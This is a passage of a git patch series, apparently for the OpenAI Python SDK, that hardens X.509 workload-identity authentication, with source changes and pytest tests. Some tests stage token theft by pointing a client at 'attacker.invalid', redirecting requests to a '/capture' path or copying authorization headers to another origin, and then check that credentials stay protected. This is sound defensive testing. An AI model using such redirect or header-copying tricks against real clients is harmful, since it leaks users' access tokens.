event_hooks={"request": [redirect]} + ) + ordinary_transport = ( + protected_transport if shared_client else httpx2.AsyncClient(transport=httpx2.MockTransport(handle)) + ) + ordinary = AsyncOpenAI( + api_key="access-token", base_url="https://attacker.invalid/v1", http_client=ordinary_transport + ) + protected = AsyncOpenAI(workload_identity=_identity(), http_client=protected_transport, max_retries=0) + + async def run_ordinary() -> str: + return (await ordinary.models.list()).object + + ordinary_result = asyncio.create_task(run_ordinary()) + await asyncio.wait_for(ordinary_started.wait(), timeout=5) + try: + with pytest.raises(OpenAIError, match="configured API origin"): + await protected.models.list() + finally: + allow_ordinary.set() + assert await asyncio.wait_for(ordinary_result, timeout=5) == "list" + assert all(request.url.path != "/capture" for request in requests) From 65f5d417dddab81e120374a17c5e8891f6027529 Mon Sep 17 00:00:00 2001 From: Justin Beckwith Date: Wed, 26 Aug 2026 21:51:10 -0700 Subject: [PATCH 02/13] fix(auth): address X.509 review feedback --- src/openai/_client.py | 14 +- src/openai/auth/_x509.py | 36 ++-- .../test_x509_workload_identity_hardening.py | 161 ++++++++++++++++-- .../test_x509_workload_identity_transport.py | 47 +++-- 4 files changed, 216 insertions(+), 42 deletions(-) diff --git a/src/openai/_client.py b/src/openai/_client.py index 974f8a0189..c7d7df55f5 100644 --- a/src/openai/_client.py +++ b/src/openai/_client.py @@ -740,7 +740,7 @@ def copy( http_client = http_client or self._client next_provider = self._provider if isinstance(provider, NotGiven) else provider - explicit_base_url = not isinstance(base_url, NotGiven) + explicit_base_url = base_url is not None and not isinstance(base_url, NotGiven) next_workload_identity = workload_identity if workload_identity is not None else self.workload_identity if api_key is not None and workload_identity is None: next_workload_identity = None @@ -751,7 +751,10 @@ def copy( if effective_data_residency is None and mode_changed and not explicit_base_url: effective_data_residency = self._data_residency base_url = resolve_data_residency( - effective_data_residency, base_url, provider=next_provider, websocket_base_url=websocket_base_url + effective_data_residency, + not_given if base_url is None and data_residency is None else base_url, + provider=next_provider, + websocket_base_url=websocket_base_url, ) base_url = x509_data_residency_base_url(base_url, effective_data_residency, next_workload_identity) preserve_default_base_url = False @@ -1497,7 +1500,7 @@ def copy( http_client = http_client or self._client next_provider = self._provider if isinstance(provider, NotGiven) else provider - explicit_base_url = not isinstance(base_url, NotGiven) + explicit_base_url = base_url is not None and not isinstance(base_url, NotGiven) next_workload_identity = workload_identity if workload_identity is not None else self.workload_identity if api_key is not None and workload_identity is None: next_workload_identity = None @@ -1508,7 +1511,10 @@ def copy( if effective_data_residency is None and mode_changed and not explicit_base_url: effective_data_residency = self._data_residency base_url = resolve_data_residency( - effective_data_residency, base_url, provider=next_provider, websocket_base_url=websocket_base_url + effective_data_residency, + not_given if base_url is None and data_residency is None else base_url, + provider=next_provider, + websocket_base_url=websocket_base_url, ) base_url = x509_data_residency_base_url(base_url, effective_data_residency, next_workload_identity) preserve_default_base_url = False diff --git a/src/openai/auth/_x509.py b/src/openai/auth/_x509.py index 102a478ec6..5c529852ef 100644 --- a/src/openai/auth/_x509.py +++ b/src/openai/auth/_x509.py @@ -362,22 +362,30 @@ def request_scope(self, request: httpx2.Request) -> tuple[httpx2.Request, httpx2 return None with self._lock: - if not self._request_scopes: + request_authorization = request.headers.get("Authorization") + matching_authorization = [ + (marker, active_scope) + for marker, active_scope in self._request_scopes.items() + if request_authorization is not None + and active_scope[2] is not None + and ( + request_authorization == active_scope[2] + or ( + active_scope[2].startswith("Bearer ") + and active_scope[2][len("Bearer ") :] in request_authorization + ) + ) + ] + if not matching_authorization: return None + if len({(active_scope[1].host, active_scope[1].port) for _, active_scope in matching_authorization}) > 1: + raise OpenAIError("X.509 workload identity request cannot be associated with a single API origin") same_origin = [ (marker, active_scope) - for marker, active_scope in self._request_scopes.items() + for marker, active_scope in matching_authorization if (request.url.host, request.url.port) == (active_scope[1].host, active_scope[1].port) ] - candidates = same_origin if same_origin else list(self._request_scopes.items()) - marker, active_scope = next( - ( - (active_marker, candidate) - for active_marker, candidate in candidates - if request.headers.get("Authorization") == candidate[2] - ), - candidates[0], - ) + marker, active_scope = (same_origin if same_origin else matching_authorization)[0] self._bind_request(request, marker) return active_scope @@ -782,7 +790,11 @@ def _handle_exchange_response(self, response: httpx2.Response) -> dict[str, Any] try: return self._handle_token_response(response) except OpenAIError as error: - if response.status_code in (408, 409, 429) or response.status_code >= 500: + if ( + response.status_code in (408, 409, 429) + or response.status_code >= 500 + or (response.status_code not in (400, 401, 403) and response.headers.get("x-should-retry") == "true") + ): raise _TransientTokenExchangeError(error) from error raise diff --git a/tests/test_x509_workload_identity_hardening.py b/tests/test_x509_workload_identity_hardening.py index c842c4ea7b..12619e5ce4 100644 --- a/tests/test_x509_workload_identity_hardening.py +++ b/tests/test_x509_workload_identity_hardening.py @@ -212,22 +212,36 @@ def test_switching_from_provider_to_regional_x509_uses_the_mtls_endpoint( @pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI]) @pytest.mark.parametrize("region", ["global", "us", "eu"]) +@pytest.mark.parametrize("base_url_mode", ["omitted", "none", "intermediate_none"]) def test_switching_regional_api_key_client_to_x509_preserves_residency( - client_type: type[OpenAI] | type[AsyncOpenAI], region: str + client_type: type[OpenAI] | type[AsyncOpenAI], region: str, base_url_mode: str ) -> None: original = client_type(api_key="original-api-key", data_residency=cast(Any, region)) - copied = original.with_options(workload_identity=_identity()) + if base_url_mode == "intermediate_none": + original = original.with_options(base_url=None) + copied = ( + original.with_options(workload_identity=_identity(), base_url=None) + if base_url_mode == "none" + else original.with_options(workload_identity=_identity()) + ) assert str(copied.base_url) == _REGIONAL_MTLS_URLS[region] assert str(copied.with_options(timeout=1).base_url) == _REGIONAL_MTLS_URLS[region] @pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI]) @pytest.mark.parametrize("region", ["global", "us", "eu"]) +@pytest.mark.parametrize("base_url_mode", ["omitted", "none", "intermediate_none"]) def test_switching_regional_x509_client_to_api_key_preserves_residency( - client_type: type[OpenAI] | type[AsyncOpenAI], region: str + client_type: type[OpenAI] | type[AsyncOpenAI], region: str, base_url_mode: str ) -> None: original = client_type(workload_identity=_identity(), data_residency=cast(Any, region)) - copied = original.with_options(api_key="replacement-api-key") + if base_url_mode == "intermediate_none": + original = original.with_options(base_url=None) + copied = ( + original.with_options(api_key="replacement-api-key", base_url=None) + if base_url_mode == "none" + else original.with_options(api_key="replacement-api-key") + ) expected_host = "api.openai.com" if region == "global" else f"{region}.api.openai.com" assert str(copied.base_url) == f"https://{expected_host}/v1/" assert str(copied.with_options(timeout=1).base_url) == f"https://{expected_host}/v1/" @@ -468,8 +482,17 @@ def handler(request: httpx2.Request) -> httpx2.Response: await client.models.list() -@pytest.mark.parametrize("status_code", [429, 500, 503]) -def test_sync_x509_uses_unexpired_token_when_proactive_refresh_gets_transient_status(status_code: int) -> None: +@pytest.mark.parametrize( + ("status_code", "headers"), + [(429, {}), (500, {}), (503, {}), (418, {"x-should-retry": "true"}), (425, {"x-should-retry": "true"})], +) +def test_sync_x509_uses_unexpired_token_when_proactive_refresh_gets_transient_status( + monkeypatch: pytest.MonkeyPatch, status_code: int, headers: dict[str, str] +) -> None: + def no_sleep(_delay: float) -> None: + return None + + monkeypatch.setattr(x509_auth.time, "sleep", no_sleep) exchange_count = 0 def handler(request: httpx2.Request) -> httpx2.Response: @@ -477,11 +500,11 @@ def handler(request: httpx2.Request) -> httpx2.Response: if str(request.url) == _TOKEN_URL: exchange_count += 1 if exchange_count > 1: - return httpx2.Response(status_code, request=request) + return httpx2.Response(status_code, request=request, headers=headers) return _response(request) with OpenAI( - workload_identity=_identity(), http_client=httpx2.Client(transport=httpx2.MockTransport(handler)), max_retries=0 + workload_identity=_identity(), http_client=httpx2.Client(transport=httpx2.MockTransport(handler)), max_retries=2 ) as client: client.models.list() assert client._workload_identity_auth is not None @@ -492,8 +515,17 @@ def handler(request: httpx2.Request) -> httpx2.Response: client.models.list() -@pytest.mark.parametrize("status_code", [429, 500, 503]) -async def test_async_x509_uses_unexpired_token_when_proactive_refresh_gets_transient_status(status_code: int) -> None: +@pytest.mark.parametrize( + ("status_code", "headers"), + [(429, {}), (500, {}), (503, {}), (418, {"x-should-retry": "true"}), (425, {"x-should-retry": "true"})], +) +async def test_async_x509_uses_unexpired_token_when_proactive_refresh_gets_transient_status( + monkeypatch: pytest.MonkeyPatch, status_code: int, headers: dict[str, str] +) -> None: + async def no_sleep(_delay: float) -> None: + return None + + monkeypatch.setattr(x509_auth.anyio, "sleep", no_sleep) exchange_count = 0 def handler(request: httpx2.Request) -> httpx2.Response: @@ -501,13 +533,13 @@ def handler(request: httpx2.Request) -> httpx2.Response: if str(request.url) == _TOKEN_URL: exchange_count += 1 if exchange_count > 1: - return httpx2.Response(status_code, request=request) + return httpx2.Response(status_code, request=request, headers=headers) return _response(request) async with AsyncOpenAI( workload_identity=_identity(), http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler)), - max_retries=0, + max_retries=2, ) as client: await client.models.list() assert client._workload_identity_auth is not None @@ -519,7 +551,10 @@ def handler(request: httpx2.Request) -> httpx2.Response: @pytest.mark.parametrize("status_code", [400, 401, 403]) -def test_sync_x509_never_falls_back_after_permanent_oauth_rejection(status_code: int) -> None: +@pytest.mark.parametrize("server_requests_retry", [False, True]) +def test_sync_x509_never_falls_back_after_permanent_oauth_rejection( + status_code: int, server_requests_retry: bool +) -> None: exchange_count = 0 def handler(request: httpx2.Request) -> httpx2.Response: @@ -527,7 +562,8 @@ def handler(request: httpx2.Request) -> httpx2.Response: if str(request.url) == _TOKEN_URL: exchange_count += 1 if exchange_count > 1: - return httpx2.Response(status_code, request=request, json={"error": "invalid_grant"}) + headers = {"x-should-retry": "true"} if server_requests_retry else {} + return httpx2.Response(status_code, request=request, headers=headers, json={"error": "invalid_grant"}) return _response(request) with OpenAI( @@ -541,7 +577,10 @@ def handler(request: httpx2.Request) -> httpx2.Response: @pytest.mark.parametrize("status_code", [400, 401, 403]) -async def test_async_x509_never_falls_back_after_permanent_oauth_rejection(status_code: int) -> None: +@pytest.mark.parametrize("server_requests_retry", [False, True]) +async def test_async_x509_never_falls_back_after_permanent_oauth_rejection( + status_code: int, server_requests_retry: bool +) -> None: exchange_count = 0 def handler(request: httpx2.Request) -> httpx2.Response: @@ -549,7 +588,8 @@ def handler(request: httpx2.Request) -> httpx2.Response: if str(request.url) == _TOKEN_URL: exchange_count += 1 if exchange_count > 1: - return httpx2.Response(status_code, request=request, json={"error": "invalid_grant"}) + headers = {"x-should-retry": "true"} if server_requests_retry else {} + return httpx2.Response(status_code, request=request, headers=headers, json={"error": "invalid_grant"}) return _response(request) async with AsyncOpenAI( @@ -742,6 +782,95 @@ async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: assert second.object == "list" +def test_sync_x509_rejects_ambiguous_reconstructed_requests_across_protected_origins() -> None: + arrived = threading.Barrier(2) + first_finished = threading.Event() + captured: list[httpx2.Request] = [] + + def handler(request: httpx2.Request) -> httpx2.Response: + captured.append(request) + return _response(request, token="shared-token") + + class CrossOriginClient(httpx2.Client): + @override + def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + arrived.wait(timeout=5) + if request.url.host == "private.example": + assert first_finished.wait(timeout=5) + return super().send(request, **kwargs) + copied = httpx2.Request(request.method, "https://private.example/v1/models", headers=dict(request.headers)) + copied.headers["host"] = "private.example" + try: + with ThreadPoolExecutor(max_workers=1) as executor: + return executor.submit(super().send, copied, **kwargs).result() + finally: + first_finished.set() + + transport = CrossOriginClient(transport=httpx2.MockTransport(handler)) + clients = [ + OpenAI(workload_identity=_identity(), http_client=transport, max_retries=0), + OpenAI( + workload_identity=_identity(), base_url="https://private.example/v1", http_client=transport, max_retries=0 + ), + ] + + with ThreadPoolExecutor(max_workers=2) as executor: + requests = [executor.submit(client.models.list) for client in clients] + with pytest.raises(OpenAIError, match="origin|associated"): + requests[0].result(timeout=5) + assert requests[1].result(timeout=5).object == "list" + + assert [str(request.url) for request in captured if request.url.host == "private.example"] == [ + "https://private.example/v1/models" + ] + + +async def test_async_x509_rejects_ambiguous_reconstructed_requests_across_protected_origins() -> None: + arrived = 0 + both_arrived = asyncio.Event() + first_finished = asyncio.Event() + captured: list[httpx2.Request] = [] + + def handler(request: httpx2.Request) -> httpx2.Response: + captured.append(request) + return _response(request, token="shared-token") + + class CrossOriginClient(httpx2.AsyncClient): + @override + async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + nonlocal arrived + arrived += 1 + if arrived == 2: + both_arrived.set() + await asyncio.wait_for(both_arrived.wait(), timeout=5) + if request.url.host == "private.example": + await asyncio.wait_for(first_finished.wait(), timeout=5) + return await super().send(request, **kwargs) + copied = httpx2.Request(request.method, "https://private.example/v1/models", headers=dict(request.headers)) + copied.headers["host"] = "private.example" + try: + return await Context().run(asyncio.create_task, super().send(copied, **kwargs)) + finally: + first_finished.set() + + transport = CrossOriginClient(transport=httpx2.MockTransport(handler)) + clients = [ + AsyncOpenAI(workload_identity=_identity(), http_client=transport, max_retries=0), + AsyncOpenAI( + workload_identity=_identity(), base_url="https://private.example/v1", http_client=transport, max_retries=0 + ), + ] + + responses = await asyncio.gather(*(client.models.list() for client in clients), return_exceptions=True) + assert isinstance(responses[0], OpenAIError) + second = responses[1] + assert not isinstance(second, BaseException) + assert second.object == "list" + assert [str(request.url) for request in captured if request.url.host == "private.example"] == [ + "https://private.example/v1/models" + ] + + def _record(requests: list[httpx2.Request], request: httpx2.Request) -> httpx2.Response: requests.append(request) return _response(request) diff --git a/tests/test_x509_workload_identity_transport.py b/tests/test_x509_workload_identity_transport.py index ca1269765d..0c3bd1b090 100644 --- a/tests/test_x509_workload_identity_transport.py +++ b/tests/test_x509_workload_identity_transport.py @@ -2,7 +2,7 @@ import asyncio import threading -from typing import Any +from typing import Any, cast from contextvars import Context from typing_extensions import override from concurrent.futures import ThreadPoolExecutor @@ -834,7 +834,10 @@ async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: assert all(request.url.host != "attacker.invalid" for request in requests) -def test_sync_x509_allows_ordinary_requests_that_start_before_a_concurrent_protected_request() -> None: +@pytest.mark.parametrize("direct_request", [False, True]) +def test_sync_x509_allows_ordinary_requests_that_start_before_a_concurrent_protected_request( + direct_request: bool, +) -> None: ordinary_started = threading.Event() protected_started = threading.Event() allow_ordinary = threading.Event() @@ -855,20 +858,28 @@ def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: ordinary = OpenAI(api_key="ordinary-key", base_url="https://nested.example/v1", http_client=http_client) protected = OpenAI(workload_identity=_identity(), http_client=http_client) + def list_ordinary() -> str: + if direct_request: + return cast(str, http_client.get("https://nested.example/v1/models").json()["object"]) + return ordinary.models.list().object + with ThreadPoolExecutor(max_workers=2) as executor: - ordinary_result = executor.submit(ordinary.models.list) + ordinary_result = executor.submit(list_ordinary) assert ordinary_started.wait(timeout=5) protected_result = executor.submit(protected.models.list) assert protected_started.wait(timeout=5) allow_ordinary.set() try: - assert ordinary_result.result(timeout=5).object == "list" + assert ordinary_result.result(timeout=5) == "list" finally: allow_protected.set() assert protected_result.result(timeout=5).object == "list" -async def test_async_x509_allows_ordinary_requests_that_start_before_a_concurrent_protected_request() -> None: +@pytest.mark.parametrize("direct_request", [False, True]) +async def test_async_x509_allows_ordinary_requests_that_start_before_a_concurrent_protected_request( + direct_request: bool, +) -> None: ordinary_started = asyncio.Event() protected_started = asyncio.Event() allow_ordinary = asyncio.Event() @@ -892,7 +903,13 @@ async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: async def list_models(client: AsyncOpenAI) -> str: return (await client.models.list()).object - ordinary_result = asyncio.create_task(list_models(ordinary)) + async def list_ordinary() -> str: + if direct_request: + response = await http_client.get("https://nested.example/v1/models") + return cast(str, response.json()["object"]) + return await list_models(ordinary) + + ordinary_result = asyncio.create_task(list_ordinary()) await asyncio.wait_for(ordinary_started.wait(), timeout=5) protected_result = asyncio.create_task(list_models(protected)) await asyncio.wait_for(protected_started.wait(), timeout=5) @@ -905,7 +922,10 @@ async def list_models(client: AsyncOpenAI) -> str: @pytest.mark.parametrize("shared_client", [False, True]) -def test_sync_x509_never_trusts_a_matching_concurrent_ordinary_request(shared_client: bool) -> None: +@pytest.mark.parametrize("lowercase_bearer", [False, True]) +def test_sync_x509_never_trusts_a_matching_concurrent_ordinary_request( + shared_client: bool, lowercase_bearer: bool +) -> None: requests: list[httpx2.Request] = [] ordinary_started = threading.Event() allow_ordinary = threading.Event() @@ -926,6 +946,8 @@ class CrossThreadClient(httpx2.Client): def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: if request.url.host == "mtls.api.openai.com": request = httpx2.Request(request.method, request.url, headers=dict(request.headers)) + if lowercase_bearer: + request.headers["authorization"] = "bearer access-token" with ThreadPoolExecutor(max_workers=1) as executor: return executor.submit(super().send, request, **kwargs).result() return super().send(request, **kwargs) @@ -939,7 +961,7 @@ def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: ordinary_result = executor.submit(ordinary.models.list) assert ordinary_started.wait(timeout=5) try: - with pytest.raises(OpenAIError, match="configured API origin"): + with pytest.raises(OpenAIError, match="configured API origin|authorization"): protected.models.list() finally: allow_ordinary.set() @@ -949,7 +971,10 @@ def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: @pytest.mark.parametrize("shared_client", [False, True]) -async def test_async_x509_never_trusts_a_matching_concurrent_ordinary_request(shared_client: bool) -> None: +@pytest.mark.parametrize("lowercase_bearer", [False, True]) +async def test_async_x509_never_trusts_a_matching_concurrent_ordinary_request( + shared_client: bool, lowercase_bearer: bool +) -> None: requests: list[httpx2.Request] = [] ordinary_started = asyncio.Event() allow_ordinary = asyncio.Event() @@ -970,6 +995,8 @@ class CrossContextClient(httpx2.AsyncClient): async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: if request.url.host == "mtls.api.openai.com": copied = httpx2.Request(request.method, request.url, headers=dict(request.headers)) + if lowercase_bearer: + copied.headers["authorization"] = "bearer access-token" coroutine = super().send(copied, **kwargs) return await Context().run(asyncio.create_task, coroutine) return await super().send(request, **kwargs) @@ -991,7 +1018,7 @@ async def run_ordinary() -> str: ordinary_result = asyncio.create_task(run_ordinary()) await asyncio.wait_for(ordinary_started.wait(), timeout=5) try: - with pytest.raises(OpenAIError, match="configured API origin"): + with pytest.raises(OpenAIError, match="configured API origin|authorization"): await protected.models.list() finally: allow_ordinary.set() From cd3262247c0115d110e3a5d9b7ee99a77112f0fe Mon Sep 17 00:00:00 2001 From: Justin Beckwith Date: Thu, 27 Aug 2026 08:57:24 -0700 Subject: [PATCH 03/13] fix(auth): preserve isolated X.509 caches across client copies --- src/openai/_client.py | 15 ------ src/openai/auth/_x509.py | 19 -------- .../test_x509_workload_identity_hardening.py | 46 +++++++++++++++---- 3 files changed, 38 insertions(+), 42 deletions(-) diff --git a/src/openai/_client.py b/src/openai/_client.py index c7d7df55f5..d9489f4e64 100644 --- a/src/openai/_client.py +++ b/src/openai/_client.py @@ -38,7 +38,6 @@ MTLS_API_BASE_URL, SyncX509WorkloadIdentityAuth, AsyncX509WorkloadIdentityAuth, - can_share_x509_auth, validate_x509_api_url, non_x509_request_scope, is_x509_workload_identity, @@ -819,13 +818,6 @@ def copy( copied._data_residency = data_residency elif not explicit_base_url and not provider_changed: copied._data_residency = self._data_residency - if can_share_x509_auth( - self._workload_identity_auth, - copied._workload_identity_auth, - current_origin=self.base_url, - replacement_origin=copied.base_url, - ): - copied._workload_identity_auth = self._workload_identity_auth return copied # Alias for `copy` for nicer inline usage, e.g. @@ -1579,13 +1571,6 @@ def copy( copied._data_residency = data_residency elif not explicit_base_url and not provider_changed: copied._data_residency = self._data_residency - if can_share_x509_auth( - self._workload_identity_auth, - copied._workload_identity_auth, - current_origin=self.base_url, - replacement_origin=copied.base_url, - ): - copied._workload_identity_auth = self._workload_identity_auth return copied # Alias for `copy` for nicer inline usage, e.g. diff --git a/src/openai/auth/_x509.py b/src/openai/auth/_x509.py index 5c529852ef..2524b7bd24 100644 --- a/src/openai/auth/_x509.py +++ b/src/openai/auth/_x509.py @@ -949,22 +949,3 @@ async def _fetch_token_from_exchange_async(self) -> dict[str, Any]: await anyio.sleep(delay) raise AssertionError("X.509 token exchange retry loop exhausted unexpectedly") - - -def can_share_x509_auth( - current: object, - replacement: object, - *, - current_origin: httpx2.URL, - replacement_origin: httpx2.URL, -) -> bool: - auth_types = (SyncX509WorkloadIdentityAuth, AsyncX509WorkloadIdentityAuth) - if not isinstance(current, auth_types) or not isinstance(replacement, auth_types): - return False - return ( - type(current) is type(replacement) - and current.workload_identity == replacement.workload_identity - and current._http_client is replacement._http_client - and current_origin == replacement_origin - and current._max_exchange_retries == replacement._max_exchange_retries - ) diff --git a/tests/test_x509_workload_identity_hardening.py b/tests/test_x509_workload_identity_hardening.py index 12619e5ce4..8b10c1c534 100644 --- a/tests/test_x509_workload_identity_hardening.py +++ b/tests/test_x509_workload_identity_hardening.py @@ -400,34 +400,64 @@ def handler(request: httpx2.Request) -> httpx2.Response: assert attempts == 2 -def test_sync_x509_copies_share_tokens_only_for_the_same_identity_transport_and_origin() -> None: +def test_sync_x509_client_copies_keep_authentication_caches_independent() -> None: requests: list[httpx2.Request] = [] http_client = httpx2.Client(transport=httpx2.MockTransport(lambda request: _record(requests, request))) with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: client.models.list() - client.with_options(timeout=1).models.list() - client.with_options(timeout=2).models.list() + copied = client.with_options(timeout=1) + sibling = client.with_options(timeout=2) + assert client._workload_identity_auth is not None + assert copied._workload_identity_auth is not None + assert sibling._workload_identity_auth is not None + assert copied._workload_identity_auth is not client._workload_identity_auth + assert sibling._workload_identity_auth is not client._workload_identity_auth + assert sibling._workload_identity_auth is not copied._workload_identity_auth + copied.models.list() + sibling.models.list() + + copied._workload_identity_auth.invalidate_token("access-token") + assert copied._workload_identity_auth._cached_token is None + assert client._workload_identity_auth._cached_token == "access-token" + assert sibling._workload_identity_auth._cached_token == "access-token" + copied.models.list() + changed_identity = x509_workload_identity(identity_provider_id="other", service_account_id="svc_example") client.with_options(workload_identity=changed_identity).models.list() exchanges = [request for request in requests if str(request.url) == _TOKEN_URL] - assert len(exchanges) == 2 + assert len(exchanges) == 5 -async def test_async_x509_copies_share_tokens_only_for_the_same_identity_transport_and_origin() -> None: +async def test_async_x509_client_copies_keep_authentication_caches_independent() -> None: requests: list[httpx2.Request] = [] http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: await client.models.list() - await client.with_options(timeout=1).models.list() - await client.with_options(timeout=2).models.list() + copied = client.with_options(timeout=1) + sibling = client.with_options(timeout=2) + assert client._workload_identity_auth is not None + assert copied._workload_identity_auth is not None + assert sibling._workload_identity_auth is not None + assert copied._workload_identity_auth is not client._workload_identity_auth + assert sibling._workload_identity_auth is not client._workload_identity_auth + assert sibling._workload_identity_auth is not copied._workload_identity_auth + await copied.models.list() + await sibling.models.list() + + copied._workload_identity_auth.invalidate_token("access-token") + assert copied._workload_identity_auth._cached_token is None + assert client._workload_identity_auth._cached_token == "access-token" + assert sibling._workload_identity_auth._cached_token == "access-token" + await copied.models.list() + changed_identity = x509_workload_identity(identity_provider_id="other", service_account_id="svc_example") await client.with_options(workload_identity=changed_identity).models.list() exchanges = [request for request in requests if str(request.url) == _TOKEN_URL] - assert len(exchanges) == 2 + assert len(exchanges) == 5 def test_sync_x509_uses_unexpired_token_when_proactive_refresh_temporarily_fails() -> None: From 3560cf4ab3f4aa22843f77f55d1ca17212b11ace Mon Sep 17 00:00:00 2001 From: Justin Beckwith Date: Thu, 27 Aug 2026 09:15:37 -0700 Subject: [PATCH 04/13] fix(auth): guard delegated and nested X.509 client requests --- src/openai/auth/_x509.py | 135 ++++- .../test_x509_workload_identity_transport.py | 502 +++++++++++++++++- 2 files changed, 622 insertions(+), 15 deletions(-) diff --git a/src/openai/auth/_x509.py b/src/openai/auth/_x509.py index 2524b7bd24..cfa197a2c9 100644 --- a/src/openai/auth/_x509.py +++ b/src/openai/auth/_x509.py @@ -7,7 +7,7 @@ import email.utils from typing import Any, Iterator, NoReturn, cast from weakref import ReferenceType, ref -from contextlib import contextmanager +from contextlib import ExitStack, contextmanager from contextvars import ContextVar from typing_extensions import TypeIs, override @@ -49,6 +49,7 @@ _UNPROTECTED_TRANSPORT_SCOPE_EXTENSION = "openai_x509_unprotected_transport_scope" _ACTIVE_API_TRANSPORT_SCOPES: dict[object, tuple[httpx2.Request, httpx2.URL, str | None]] = {} _ACTIVE_UNPROTECTED_TRANSPORT_SCOPES: dict[object, tuple[httpx2.Request, httpx2.URL, str | None]] = {} +_ACTIVE_AUXILIARY_TRANSPORT_MARKERS: set[object] = set() _ACTIVE_API_TRANSPORT_SCOPES_LOCK = threading.RLock() _UNPROTECTED_TRANSPORT_SCOPE: ContextVar[object | None] = ContextVar( "openai_x509_unprotected_transport_scope", default=None @@ -87,6 +88,34 @@ def _is_unprotected_transport_request(request: httpx2.Request) -> bool: contextual_marker = _UNPROTECTED_TRANSPORT_SCOPE.get() with _ACTIVE_API_TRANSPORT_SCOPES_LOCK: if type(marker) is object and marker in _ACTIVE_UNPROTECTED_TRANSPORT_SCOPES: + current_authorization = request.headers.get("Authorization") + if marker in _ACTIVE_AUXILIARY_TRANSPORT_MARKERS and current_authorization is not None: + for _, _, active_authorization in _ACTIVE_API_TRANSPORT_SCOPES.values(): + if active_authorization is None: + continue + access_token = active_authorization.removeprefix("Bearer ") + if access_token in current_authorization: + return False + return True + request_authorization = request.headers.get("Authorization") + for auxiliary_marker in _ACTIVE_AUXILIARY_TRANSPORT_MARKERS: + auxiliary_scope = _ACTIVE_UNPROTECTED_TRANSPORT_SCOPES.get(auxiliary_marker) + if auxiliary_scope is None: + continue + auxiliary_request, auxiliary_url, auxiliary_authorization = auxiliary_scope + if ( + request.method != auxiliary_request.method + or request.url != auxiliary_url + or request_authorization != auxiliary_authorization + ): + continue + if request_authorization is not None: + for _, _, active_authorization in _ACTIVE_API_TRANSPORT_SCOPES.values(): + if active_authorization is not None: + access_token = active_authorization.removeprefix("Bearer ") + if access_token in request_authorization: + return False + request.extensions[_UNPROTECTED_TRANSPORT_SCOPE_EXTENSION] = auxiliary_marker return True return contextual_marker is not None and contextual_marker in _ACTIVE_UNPROTECTED_TRANSPORT_SCOPES @@ -337,6 +366,33 @@ def __init__(self, http_client: httpx2.Client | httpx2.AsyncClient, *, is_async: self._original_transport: Any = None self._original_mounts: dict[Any, Any] = {} self._original_request_hooks: list[Any] = [] + self._original_build_request: Any = None + self._had_build_request_attribute = False + self._auxiliary_request_markers: set[object] = set() + + def _build_auxiliary_request(self, *args: Any, **kwargs: Any) -> httpx2.Request: + request = cast(httpx2.Request, self._original_build_request(*args, **kwargs)) + active_scope = _API_TRANSPORT_SCOPE.get() + if active_scope is None or request is active_scope[0]: + return request + + authorization = request.headers.get("Authorization") + if authorization is not None: + with _ACTIVE_API_TRANSPORT_SCOPES_LOCK: + for _, _, expected_authorization in _ACTIVE_API_TRANSPORT_SCOPES.values(): + if expected_authorization is not None: + access_token = expected_authorization.removeprefix("Bearer ") + if access_token in authorization: + return request + + marker = object() + request.extensions[_UNPROTECTED_TRANSPORT_SCOPE_EXTENSION] = marker + with _ACTIVE_API_TRANSPORT_SCOPES_LOCK: + _ACTIVE_UNPROTECTED_TRANSPORT_SCOPES[marker] = (request, request.url, authorization) + _ACTIVE_AUXILIARY_TRANSPORT_MARKERS.add(marker) + with self._lock: + self._auxiliary_request_markers.add(marker) + return request def _wrap(self, transport: Any) -> Any: if self._is_async: @@ -426,6 +482,9 @@ def activate( self._original_request_hooks = http_client.event_hooks["request"] validator = self._validate_async_request if self._is_async else self._validate_sync_request http_client.event_hooks["request"] = _FinalizingRequestHooks(self._original_request_hooks, validator) + self._had_build_request_attribute = "build_request" in vars(http_client) + self._original_build_request = http_client.build_request + vars(http_client)["build_request"] = self._build_auxiliary_request self._active_requests += 1 marker = object() @@ -450,6 +509,7 @@ def activate( request.extensions.pop(_API_TRANSPORT_SCOPE_EXTENSION, None) _UNPROTECTED_TRANSPORT_SCOPE.reset(unprotected_scope) _API_TRANSPORT_SCOPE.reset(scope) + auxiliary_markers: set[object] = set() with self._lock: for identifier in self._scope_request_bindings.pop(marker, set()): self._bound_requests.pop(identifier, None) @@ -463,9 +523,21 @@ def activate( scoped_hooks.copy() if isinstance(scoped_hooks, _FinalizingRequestHooks) else list(scoped_hooks) ) http_client.event_hooks["request"] = self._original_request_hooks + if self._had_build_request_attribute: + vars(http_client)["build_request"] = self._original_build_request + else: + vars(http_client).pop("build_request", None) + auxiliary_markers = self._auxiliary_request_markers + self._auxiliary_request_markers = set() self._original_transport = None self._original_mounts = {} self._original_request_hooks = [] + self._original_build_request = None + if auxiliary_markers: + with _ACTIVE_API_TRANSPORT_SCOPES_LOCK: + for auxiliary_marker in auxiliary_markers: + _ACTIVE_UNPROTECTED_TRANSPORT_SCOPES.pop(auxiliary_marker, None) + _ACTIVE_AUXILIARY_TRANSPORT_MARKERS.discard(auxiliary_marker) _TRANSPORT_SCOPES: dict[int, tuple[ReferenceType[Any], _X509ClientTransportScope]] = {} @@ -496,6 +568,59 @@ def release(reference: ReferenceType[Any]) -> None: return scope +@contextmanager +def _active_client_transport_scopes( + http_client: httpx2.Client | httpx2.AsyncClient, + request: httpx2.Request, + expected_origin: httpx2.URL, + expected_authorization: str | None, + *, + is_async: bool, +) -> Iterator[None]: + client_types: tuple[type[Any], ...] = (httpx2.AsyncClient if is_async else httpx2.Client,) + 